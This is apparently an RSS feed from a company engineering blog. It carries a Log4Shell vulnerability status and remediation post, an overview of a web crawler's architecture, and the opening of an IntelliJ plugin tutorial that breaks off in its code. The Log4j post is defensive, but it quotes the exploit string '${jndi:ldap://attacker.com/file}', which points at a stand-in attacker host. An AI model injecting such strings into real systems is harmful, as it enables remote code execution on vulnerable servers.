<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Yext Engineering Blog</title>
        <description>The Yext Engineering Blog</description>
        <link>https://engblog.yext.com</link>
        <atom:link href="https://engblog.yext.com/feed.xml" rel="self" type="application/rss+xml" />
        
            <item>
                <title>Log4j2 Security Vulnerability Status at Yext</title>
                
                    <dc:creator>rparchuri</dc:creator>
                
                <description>&lt;p&gt;On December 9th 2021, a critical vulnerability was disclosed for log4j, a library used for
formatting logs in Java applications. This library is actively being used at Yext both in custom
code and as a part of 3rd party software.
As a part of our emergency response protocol, our teams have issued a patch to address the
vulnerability on our own software. We believe this mitigates the demonstrated vulnerability. The
following post walks through the technical details and other guidance information such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Security vulnerability and resulting effects&lt;/li&gt;
  &lt;li&gt;Impact Analysis and Remediation activity&lt;/li&gt;
  &lt;li&gt;Customer guidance on isolation and mitigation&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;log4j2-security-update-12202021&quot;&gt;Log4j2 Security Update [12/20/2021]&lt;/h2&gt;

&lt;p&gt;On December 17th, Apache disclosed yet another vulnerability suggesting that the previously updated
Log4j2 version of 2.16 is also vulnerable by way of a &lt;strong&gt;Denial of Service attack&lt;/strong&gt; with the impact
of causing resource exhaustion on the target application. Apache has since released a newer version
(&lt;a href=&quot;https://logging.apache.org/log4j/2.x/download.html&quot;&gt;2.17&lt;/a&gt;) of Log4j2.&lt;/p&gt;

&lt;p&gt;Yext has been monitoring the external situation since, and is currently NOT aware of any PoCs or
exploits in circulation that suggests any practical impact towards the services running 2.16.0.
Based on our internal risk triage on the disclosed bug, we have assigned a severity of
&lt;strong&gt;Moderate risk&lt;/strong&gt;, and will be working on the remediation based on the timelines mentioned in our
vulnerability management policy .i.e. 90 days from the time the bug has been acknowledged. Although
the timeline says 90 days, we will make our best effort to expedite the patching process and will
keep you posted.&lt;/p&gt;

&lt;p&gt;In the meantime, as mentioned in the blog, other mitigating and monitoring controls are in full
effect to proactively detect any malicious or suspicious traffic directed at Yext.&lt;/p&gt;

&lt;p&gt;Please note, there is &lt;strong&gt;NO impact or risk&lt;/strong&gt; posed to Yext or its customers at this time. Yext
response teams are staying on top of this topic as the situation evolves and will continue to
provide updates as we become aware of them.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;executive-summary&quot;&gt;Executive Summary&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;A critical vulnerability was disclosed for Log4j2, a library used for formatting logs in Java
applications. This vulnerability is being tracked as &lt;em&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228&quot;&gt;CVE-2021-44228&lt;/a&gt;&lt;/em&gt; &amp;amp;
&lt;em&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046&quot;&gt;CVE-2021-45046&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;Yext response teams have issued the latest patch (2.16.0) on Tuesday, December 14th across all our
impacted services to address this security risk.&lt;/li&gt;
  &lt;li&gt;Exploits are available widely over the internet, and reports suggest that this vulnerability is
being actively exploited.&lt;/li&gt;
  &lt;li&gt;Log4j2 is actively being used at Yext both in custom code and as a part of 3rd party software,
however the risk has been remediated.&lt;/li&gt;
  &lt;li&gt;Initial investigation found no malicious activity in the Yext environment. We are closely
monitoring the traffic and will keep our customers informed of any such activity.&lt;/li&gt;
  &lt;li&gt;Yext Security response to events such as these are reinforced by our network and application level
defenses such as anomaly detection and network based firewalls.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In cases where upgrade or remediation is not possible, the behavior can be mitigated by setting
the system property log4j2.formatMsgNoLookups to true by adding the following Java parameter:&lt;/p&gt;

    &lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Dlog4j2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formatMsgNoLookups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;While the risk for all Yext clients to this CVE has been mitigated for Yext-hosted services, we
strongly encourage clients to ensure they are not exposed to incremental risk with Log4j use in
their own environment or environments delivered by their 3rd party vendors. See customer guidance
section below for more information.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;technical-summary&quot;&gt;Technical Summary&lt;/h2&gt;

&lt;p&gt;This vulnerability can allow threat actors the opportunity to take control of any Java-based,
internet-facing server and engage in Remote Code Execution (RCE) attacks. Its being called
“Log4Shell”, since its trivially easy to exploit and consists of a malformed Java Naming and
Directory Interface (JNDI) request of the form &lt;em&gt;${jndi:ldap://attacker.com/file}&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;From CVE-2021-44228: “An attacker who can control log messages or log message parameters can execute
arbitrary code loaded from LDAP servers when message lookup substitution is enabled.” The impact
from this vulnerability is likely to be very widespread. There are already reports that threat
actors are actively engaged in mass Internet scanning to identify servers vulnerable to
exploitation. Many Open Source projects like the Minecraft server, Paper, have already begun
patching their usage of log4j2.&lt;/p&gt;

&lt;h2 id=&quot;impact-analysis&quot;&gt;Impact Analysis&lt;/h2&gt;

&lt;p&gt;Java-based Yext applications would have been vulnerable to a Remote Code Execution attack which
could have been employed to tamper with external-facing aspects of Yext’s production services.&lt;/p&gt;

&lt;p&gt;Due to network isolation, command-and-control services such as our CI pipelines were not at risk.&lt;/p&gt;

&lt;h2 id=&quot;mitigations-implemented&quot;&gt;Mitigations Implemented&lt;/h2&gt;

&lt;p&gt;A &lt;a href=&quot;https://www.lunasec.io/docs/blog/log4j-zero-day/#temporary-mitigation&quot;&gt;temporary mitigation&lt;/a&gt; recommended by LunaSec was applied in the early morning of Friday,
December 10th 2021. Detection mechanisms were also put in place to identify suspect log messages
that may have been attempting to exploit the vulnerability.&lt;/p&gt;

&lt;p&gt;Multiple other mitigations are in effect as of right now:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Mitigation suggested by Apache has been deployed on Friday, Dec 10th,&lt;/li&gt;
  &lt;li&gt;WAF rules on CloudFlare CDN have been implemented to block any malicious traffic,&lt;/li&gt;
  &lt;li&gt;EDR signatures implemented in our networks have been enhanced to identify anomalous traffic
patterns,&lt;/li&gt;
  &lt;li&gt;Managed Detection and Response teams (3rd party) are on standby if/when there is a response
needed,&lt;/li&gt;
  &lt;li&gt;Firewall rules have been adjusted to block malicious IP addresses noted from our threat
intelligence feeds,&lt;/li&gt;
  &lt;li&gt;SIEM signatures have been applied and the team is on standby if/when there is a alert&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;remediation-activity&quot;&gt;Remediation Activity&lt;/h2&gt;

&lt;p&gt;The above mitigation has been replaced on Tuesday, December 14th 2021 with an upgrade to a newer
version (2.16.0) of the log4j binary that applies the mitigating behavior by default. An additional
measure was applied at our CDN/WAF to filter traffic that matched patterns applicable to the
exploit.&lt;/p&gt;

&lt;h2 id=&quot;additional-monitoring&quot;&gt;Additional Monitoring&lt;/h2&gt;

&lt;p&gt;Monitoring infrastructure at Yext has been extended to include signatures, patterns and other
filters to observe and filter for any Log4j exploit traffic. Intrusion detection, Endpoint
Monitoring and SIEM tooling were configured to look for any suspicious activity and escalate any
findings to both our internal response teams and our external Managed Detection and Response team
for expedited remediation.&lt;/p&gt;

&lt;p&gt;Additionally, we encourage our Bug Bounty community to proactively identify any entry points and
attack vectors that could be used to exploit the Log4j vulnerability or anything adjacent.&lt;/p&gt;

&lt;h2 id=&quot;post-mortem-analysis&quot;&gt;Post Mortem Analysis&lt;/h2&gt;

&lt;p&gt;Our incident response process allowed us to move very quickly once the alarm had been raised. We
will be exploring ways to tailor our practices specifically to vulnerability disclosures in the
future, to raise the alarm automatically where possible.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;yext-guidance-for-log4j-remediation-in-customer-environments-external-to-yext&quot;&gt;Yext Guidance for Log4j remediation in customer environments (External to Yext)&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Disclaimer:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Yext doesn’t promote or endorse any providers or solutions as a part of this
section, and should be treated as potential remediation steps only, that should be explored, tested,
and validated by your engineering teams before executing.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;who-is-impacted&quot;&gt;Who is impacted?&lt;/h3&gt;

&lt;p&gt;Due to the nature of the vulnerability, a multitude of services are vulnerable to this exploit.
Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be
vulnerable.&lt;/p&gt;

&lt;p&gt;Anybody using Apache Struts is likely vulnerable. We’ve seen similar vulnerabilities exploited
before in breaches like the 2017 Equifax data breach. This impacts all Java versions; JDK versions
greater than 6u211, 7u201, 8u191, and 11.0.1 &lt;strong&gt;DO NOT&lt;/strong&gt; seem to be affected by this LDAP attack –
this is because these versions set &lt;em&gt;com.sun.jndi.ldap.object.trustURLCodebase&lt;/em&gt; to false by default.
However, even if not running a directly vulnerable Java version, there are known attack vectors
involving third-party libraries.&lt;/p&gt;

&lt;p&gt;Although the observed exploit attempts thus far have led to commodity cyptominer payloads, we expect
further opportunistic abuse by extending additional vectors that could lead to ransomware and other
sinister use cases; possibly by nation state adversaries.&lt;/p&gt;

&lt;h3 id=&quot;asset-inventory&quot;&gt;Asset Inventory&lt;/h3&gt;

&lt;p&gt;First step is discovery of Log4j in your environment or extended environment (vendor and partner
ecosystem) and this can be done in multiple ways.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I suggest you go through your code repo, searching for “&lt;em&gt;log4J&lt;/em&gt;”.&lt;/li&gt;
  &lt;li&gt;If you find nothing, ALSO search using any sort of dependency tool – this could be dependencyGraph
in GitHub, Snyk, SonaType, White source, etc.&lt;/li&gt;
  &lt;li&gt;If you don’t have any of the recommended tools, you can use the OWASP &lt;a href=&quot;https://owasp.org/www-project-dependency-check/&quot;&gt;dependency check&lt;/a&gt;
tool, it’s free and open source.&lt;/li&gt;
  &lt;li&gt;Additionally, reach out to your vendors and/or partners to assess the possible damage or impact
their implementation of Log4j can have on your environment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By now, you should have known if Log4j exists in your environment. If Yes, keep reading – if No,
reach out to your security team and let them know you don’t have it. They will be happy to hear it.&lt;/p&gt;

&lt;p&gt;Now make a list of all the places where Log4j may have been deployed, and mark it as “DEPLOYED” and
for the ones where the Log4j has been observed but hasn’t been deployed, mark it as “DO NOT DEPLOY”
and ensure you align your change management process to ensure its not deployed before patches are
applied (more on this later).&lt;/p&gt;

&lt;h3 id=&quot;remediation&quot;&gt;Remediation&lt;/h3&gt;

&lt;p&gt;Most preferable and secure option is to upgrade all your Log4j services to the latest version of
Log4j as described &lt;a href=&quot;https://logging.apache.org/log4j/2.x/security.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If that is NOT possible for whatever reason, in releases &amp;gt;=2.10, this behavior can be mitigated by
setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to
remove the JndiLookup class from the classpath:&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;zip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log4j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-*.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jar&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;log4j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lookup&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;JndiLookup&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Statement from Apache&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Dealing with CVE-2021-44228 has shown that JNDI has significant security
issues. While we have mitigated what we are aware of, it would be safer for users to completely
disable it by default, especially since the large majority are unlikely to be using it. Those who
are will need to specify -Dlog4j2.enableJndi=true or the environment variable form of it to use any
JNDI components.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If the above options are not possible, use the following guidance as it applies to the use cases
within your environment. The following guidance helps mitigate or apply short term controls and thus
reducing the attack surface before deploying the permanent patches.&lt;/p&gt;

&lt;h4 id=&quot;isolate&quot;&gt;Isolate&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;If you can, move impacted systems to a ‘dedicated VLAN’ to contain the impact.&lt;/li&gt;
  &lt;li&gt;If not possible, review your firewall rules between impacted hosts and the rest of your fleet.&lt;/li&gt;
  &lt;li&gt;Another option is to deploy a proxy firewall with deep packet inspection.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;mitigate&quot;&gt;Mitigate&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;If there are any Web Application Firewalls (such as Cloudflare, CloudFront), enable BLOCK policies.&lt;/li&gt;
  &lt;li&gt;If they don’t exist out of box, reach out to the vendor. Here is an [example][mititage-example].&lt;/li&gt;
  &lt;li&gt;Ensure policies on your Endpoint Detection and Response systems are deployed and protected for any
malicious or suspicious requests. Please note this may cause some noise, but this will at least help
with getting better coverage.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;monitor&quot;&gt;Monitor&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Identify any unusual traffic patterns within your network, especially look for web servers that
INITIATE outbound connections.&lt;/li&gt;
  &lt;li&gt;Keep close tabs on your change management process and trigger any alerts when any unauthorized
changes are observed in the environment.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;frequently-asked-questions-faqs&quot;&gt;Frequently Asked Questions (FAQs)&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; How has this incident impacted my account?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; This incident has no impact on your account, our team wanted to share these details as it’s a
very widespread issue impacting many software companies. We chose to proactively notify you to
ensure you know there is no impact here at Yext.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; What actions, if any, need to be taken on my (client) end?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; No actions need to be taken by clients at this time.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; What resources can I use to scan and identify Log4j assets in my environment?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; Please use the below resources posted by the industry leaders in supply chain security. Yext
doesn’t promote or endorse any of the following providers – this is meant for educational purposes
only.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/&quot;&gt;https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://anchore.com/blog/using-anchore-enterprise-to-detect-prevent-log4j-zero-day/&quot;&gt;https://anchore.com/blog/using-anchore-enterprise-to-detect-prevent-log4j-zero-day/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lunasec.io/docs/blog/log4j-zero-day/#temporary-mitigation&quot;&gt;https://www.lunasec.io/docs/blog/log4j-zero-day/#temporary-mitigation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046&quot;&gt;MITRE Bug tracking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-45046&quot;&gt;NVD tracking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://logging.apache.org/log4j/2.x/security.html&quot;&gt;Apache Security Patches&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
                <pubDate>Wed, 15 Dec 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/log4j2-security-vulnerability-statement</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/log4j2-security-vulnerability-statement</guid>
            </item>
        
            <item>
                <title>Overview of the Yext Crawler</title>
                
                    <dc:creator>kliu</dc:creator>
                
                <description>&lt;p&gt;Yext’s Crawler is a web crawler that enables scraping the unstructured web at scale. Together with
&lt;a href=&quot;https://www.yext.com/platform/features/data-connectors-web-crawler&quot;&gt;Connectors&lt;/a&gt;,
which convert the scraped data into structured entities, the Crawler enables brands to quickly
load their data into Yext’s Knowledge Graph. This minimizes the manual work needed and expedites
the setup required to use various other products such as Listings, Pages, and Answers.&lt;/p&gt;

&lt;p&gt;By running the Crawler against their own web pages and then using Connectors, brands can load their
entities into Yext and sync their data to Yext’s Knowledge Network automatically. For example,
administrators can use the Crawler to scrape a Frequently Asked Questions page on their website and
power their site search with Answers, thus utilizing the capabilities of AI search over an outdated
keyword search.&lt;/p&gt;

&lt;p&gt;Before we dive into the specifics, here’s a quick rundown of the terminology we use when talking
about Crawlers. A single brand (aka the user) can have multiple Crawlers, and each Crawler can have
multiple execution requests where each request represents a particular run of the Crawler.
Each execution request consists of multiple tasks, where each task represents a single page crawled.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-12-terminology.png&quot; alt=&quot;Explanation of the terminology used&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Consider a business with a Crawler configured to crawl all pages found on its domain —
www.examplebusiness.com — at a daily cadence. That Crawler will create an execution request every
single day to crawl all pages on www.examplebusiness.com. Tasks will then be created for each link
it visits within this domain, such as www.examplebusiness.com/product1 and
www.examplebusiness.com/locations.&lt;/p&gt;

&lt;h2 id=&quot;high-level-architecture&quot;&gt;High-level Architecture&lt;/h2&gt;
&lt;p&gt;When a Crawler is run, an execution request is created to track the state of the crawl as a whole.
From this request, an initial set of tasks is generated and stored in the database. Stored tasks
are regularly fetched from the database and fairly scheduled (see the Fair Scheduling section) for
scraping by scrapers hosted on EC2 instances in AWS.&lt;/p&gt;

&lt;p&gt;Crawl execution requests for Crawlers are broken down into tasks by servers in Yext’s data center
before they are forwarded to our AWS-hosted scraper pool for execution. After a scrape task is
completed, the scraped content is sent back to Yext servers for processing. Processing the results
involves extracting some basic metadata and storing that alongside the scraped content.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-12-architecture.png&quot; alt=&quot;An overview of the architecture&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To prevent storing duplicates of the scraped content, we store a hash of the content to detect
whether or not a page has changed since the last scrape. If a page hasn’t changed, then the scraped
content doesn’t need to be saved again.&lt;/p&gt;

&lt;p&gt;In addition to storing basic metadata and content, any URLs that are present in the content are also
extracted. The Crawler supports three different strategies for handling URLs: Specific Pages, Sub
Pages, and All Pages. Each strategy specifies the relevancy of extracted URLs — Specific Pages
matches specific URLs, Sub Pages matches all pages under a URL prefix, and All Pages matches all
URLs.&lt;/p&gt;

&lt;p&gt;After extracting all URLs from the content, the URLs are further filtered down to those that are
unvisited and &lt;em&gt;relevant&lt;/em&gt;, and the filtered URLs are then used to generate new tasks for scraping.&lt;/p&gt;

&lt;p&gt;This cycle of scraping and processing, more commonly referred to as spidering, continues until there
are no more URLs for the Crawler to visit.&lt;/p&gt;

&lt;h2 id=&quot;scalability&quot;&gt;Scalability&lt;/h2&gt;
&lt;p&gt;The Crawler is capable of scraping over a million pages per day. The distributed scrapers themselves
are configured to automatically scale out as crawl requests grow by leveraging Amazon EC2 Auto
Scaling. As requests grow, more EC2 instances will be spun up for more scraping throughput; when
the requests die down, the excess EC2 instances will be killed to remove idle scrapers.&lt;/p&gt;

&lt;p&gt;All other steps of the crawl process, which are hosted within Yext’s data centers, can easily scale
horizontally with the addition of servers as needed.&lt;/p&gt;

&lt;h2 id=&quot;error-handling&quot;&gt;Error Handling&lt;/h2&gt;
&lt;p&gt;With the variability of websites that the Crawler is tasked with handling, a variety of errors will
inevitably emerge. These errors fall into two categories: permanent and transient errors.&lt;/p&gt;

&lt;p&gt;Permanent errors are, as the name suggests, errors that will persist despite any number of retries.
For example, despite a successful scrape, a page may return no content at all. In cases like these,
the error is simply propagated and reported back to the user.&lt;/p&gt;

&lt;p&gt;The other class of errors, transient errors, are temporary and can often be remedied by retrying the
scrape. For example, the Crawler may encounter a website that is temporarily down as a result of
external factors, such as a cloud provider outage. The Crawler utilizes exponential backoff to retry
such tasks in the hopes that, given enough time, the task will eventually succeed. Exponential
backoff increases the time between retries at an exponential rate, as stretching out retries over a
longer period of time allows the task a greater chance to recover and succeed.&lt;/p&gt;

&lt;h2 id=&quot;fair-scheduling&quot;&gt;Fair Scheduling&lt;/h2&gt;
&lt;p&gt;With limited resources, the simplest approach to scheduling scraper work is to insert all the tasks
into a first in, first out (FIFO) queue. Each customer can have multiple Crawlers, and at peak usage
there could be multiple ongoing crawls per customer. Each ongoing crawl will be executing a
particular request, which itself can have up to 100,000 tasks. The FIFO queue works well when the
number of tasks per execution request is small relative to the number of scrapers available, but
this approach quickly runs into issues as this ratio grows.&lt;/p&gt;

&lt;p&gt;If one customer has an enormous number of tasks for a single crawl, those tasks can quickly end up
consuming all of our scraping resources. The consequence is that crawls from other customers will be
blocked as they wait for scrapers to become free. This leads to poor user experience, as the end
user could end up waiting hours for their crawl to start, even if their execution request has a
small number of tasks.&lt;/p&gt;

&lt;p&gt;In order to schedule tasks more fairly, we allocate three quotas according to these measures of
priority: the age of a request (oldest first), whether this is a Crawler’s first request, and at
least two tasks from each execution request. There can be some overlap between each quota – the
tasks from the oldest request can overlap with the two-task minimum from each request, for example –
and this is taken into account when determining the exact sizes of each quota.&lt;/p&gt;

&lt;p&gt;First, allocating quota to the oldest tasks ensures that we can set a reasonable upper bound on how
long a user will have to wait for a task to be processed. Second, allocating quota to the tasks
belonging to a Crawler’s first execution request ensures that a new Crawler will have results as
soon as possible. Lastly, at least two tasks are scheduled from each execution request at a time,
guaranteeing that we are pulling in tasks from all execution requests. This prevents a single large
execution request from hogging all of our scraping resources.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Through a combination of scalable architecture, exponential error handling, and fair scheduling
we’ve developed a Crawler that can support high usage loads while simultaneously maintaining the
same Crawler experience across all customer accounts regardless of size. By making the Crawler easy
and accessible to use, it drastically cuts down on the time needed to load entities into the Yext
Knowledge Graph and start using Yext’s other products.&lt;/p&gt;

&lt;p&gt;While the Crawler’s main architecture has already been well-defined, we are constantly adding new
features to it. In the future, we plan on adding support for crawling authenticated sites (where a
user must login to view the content) and crawling various file types such as PDFs and images.&lt;/p&gt;

</description>
                <pubDate>Mon, 13 Dec 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/overview-of-the-yext-crawler</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/overview-of-the-yext-crawler</guid>
            </item>
        
            <item>
                <title>Writing a Simple Intellij Plugin</title>
                
                    <dc:creator>jsharps</dc:creator>
                
                <description>&lt;p&gt;When talking about our work, it’s often convenient to have others review the code that you’re
looking at. Sharing files is a convenient way to establish a shared context. However, the process of
actually getting coworkers to open those files can be inconvenient.
&lt;br /&gt;&lt;br /&gt;
Paths are long and inconvenient to copy, and within the Yext monorepo, filenames are not necessarily
unique or even quickly identifiable amongst a sea of similar looking files. Our code review tool has
a browser built into it, but getting a link still requires you to either navigate to the file (which
is slow) or type the path (which is both slow and hard). On the other hand, I can navigate to a file
in my integrated development environment (IDE) almost instantly.
&lt;br /&gt;&lt;br /&gt;
After struggling with this for the nth time, I thought “Why can’t my IDE just generate the link for
me?” As a Vim hipster, I implemented this for myself pretty quickly, but I felt bad for my
Intellij-bound coworkers who couldn’t experience my joy. Thus, the idea for a simple Intellij plugin
was born. All the plugin would do is provide a right click action when you click a file’s tab to
copy the repository link.&lt;/p&gt;

&lt;h2 id=&quot;starting-out&quot;&gt;Starting Out&lt;/h2&gt;

&lt;p&gt;I started out at &lt;a href=&quot;https://plugins.jetbrains.com/docs/intellij/getting-started.html&quot;&gt;this page&lt;/a&gt; on
the JetBrains website, which offered the various ways to create a plugin. We use Bazel at Yext and
(beyond some small forays into Android) I’ve never used Gradle, so I went with the
&lt;strong&gt;Using Github Template&lt;/strong&gt; solution. As it turns out, this also involves Gradle, but they’ve done all
the hard work for you. That leads you to &lt;a href=&quot;https://github.com/JetBrains/intellij-platform-plugin-template&quot;&gt;this github repo&lt;/a&gt; which is very smooth. You simply click &lt;strong&gt;Use this template&lt;/strong&gt; and
it creates an Intellij project for you, specifically for developing your plugin.&lt;/p&gt;

&lt;h2 id=&quot;investigation&quot;&gt;Investigation&lt;/h2&gt;

&lt;p&gt;With repo in hand, it was time to figure out how to write my plugin. I popped open the project in
Intellij and after an exhaustive five minutes of documentation searching, went all in on the
&lt;strong&gt;Run ‘Run Plugin’&lt;/strong&gt; command. I learn by doing, so I figured this might be more instructive. It
turns out this launches a second instance of Intellij with your plugin installed. A quick check of
the console in the first instance confirmed the hello world logging was working as expected. This
setup works really well and is much more intuitive than Chrome or Firefox plugin development, in my
experience — especially viewing the logs.
&lt;br /&gt;&lt;br /&gt;
Intellij plugins use Kotlin. You can use Java, but all the documentation and resources on the
internet I found were for Kotlin. Given the reputation Kotlin has for being easy to learn and fun to
program in, I figured I’d stay in Kotlin.&lt;/p&gt;

&lt;h2 id=&quot;actual-plugin-stuff&quot;&gt;Actual Plugin Stuff&lt;/h2&gt;

&lt;p&gt;I started by deleting all the existing code, because it didn’t look useful. This turned out to be
fine, so no regrets. My googling for “right click context menu intellij plugin” eventually led me to
a &lt;a href=&quot;https://medium.com/@nadavfima/writing-your-first-intellij-ide-plugin-with-kotlin-d36fe65be87f&quot;&gt;Medium post&lt;/a&gt;
which was very similar to what I was trying to do. While some parts didn’t exactly line up with what
I wanted to do, it detailed how to add an action to a menu, and it was only a hop, skip, and a jump
to find out how to add to the right click file tab context menu. With a simple, basically empty
class and some xml tweaks, I got the &lt;strong&gt;Copy Repository Link&lt;/strong&gt; action to show up in the  right spot.
At this point, my actual code looked like this.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;GitClipCopyAction&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AnAction&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fun&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;actionPerformed&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;e:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AnActionEvent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
